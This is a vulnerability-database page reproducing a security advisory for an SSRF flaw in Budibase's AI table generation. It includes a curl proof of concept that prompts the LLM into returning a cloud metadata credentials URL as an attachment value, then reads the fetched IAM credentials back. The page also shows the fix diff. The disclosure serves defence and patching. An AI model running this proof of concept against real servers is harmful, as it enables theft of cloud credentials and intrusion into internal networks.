Średnia

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

  • Ujawniono: 24.07.2026
  • Aktualizacja: 11.10.2026 10:22

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check

ts
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

ts
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

ts
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)

Compare with correct sibling: processUrlFile() in extract.ts

ts
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

ts
// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

bash
# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"builder@example.com","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.

# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
  -H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content

Impact

  • Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
  • Internal service enumeration and data exfiltration from private network resources
  • Port scanning of internal infrastructure via timing/error differences
  • Bypass of network segmentation when Budibase is deployed in a DMZ or VPC

Suggested Remediation

Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():

ts
// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"

import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"

// ...

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
-    const res = await fetch(url)
+    const res = await fetchWithBlacklist(url)

    const extension = [...res.url.split(".")].pop()!.split("?")[0]

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm @budibase/server <= 3.38.1 brak poprawki

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Słabość (CWE)
CWE-918
Platforma
npm
Paczka
@budibase/server
Ujawniono
24.07.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-hfhx-w8p8-4hc7 - CC BY 4.0

Historia podatności: @budibase/server

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (42) w archiwum
Wszystkich wpisów
42
Pierwsza → ostatnia
03.2024 08.2026
Bez poprawki
19
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 8
  • Wysoka 27
  • Średnia 7

Ujawnienia w latach

  1. 2024: 1
  2. 2025: 0
  3. 2026: 41
Istotność:
  1. Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ten wpis
    Średnia CVE-2026-73307 <= 3.38.1 brak poprawki
  2. Wysoka · 8.5 CVE-2026-73410 <= 3.38.1 brak poprawki
  3. Wysoka · 7.7 CVE-2026-72849 <= 3.38.1 brak poprawki
  4. Krytyczna · 9.6 CVE-2026-73300 <= 3.38.1 brak poprawki
  5. Wysoka · 7.7 CVE-2026-45715 < 3.38.1 3.38.1
  6. Wysoka · 8.8 CVE-2026-25044 < 3.33.4 3.33.4
  7. Wysoka CVE-2026-25041 < 3.23.32 3.23.32
  8. Krytyczna · 9.8 ghsa-4g2x-vq5p-5vj6 < 2.20.0 2.20.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.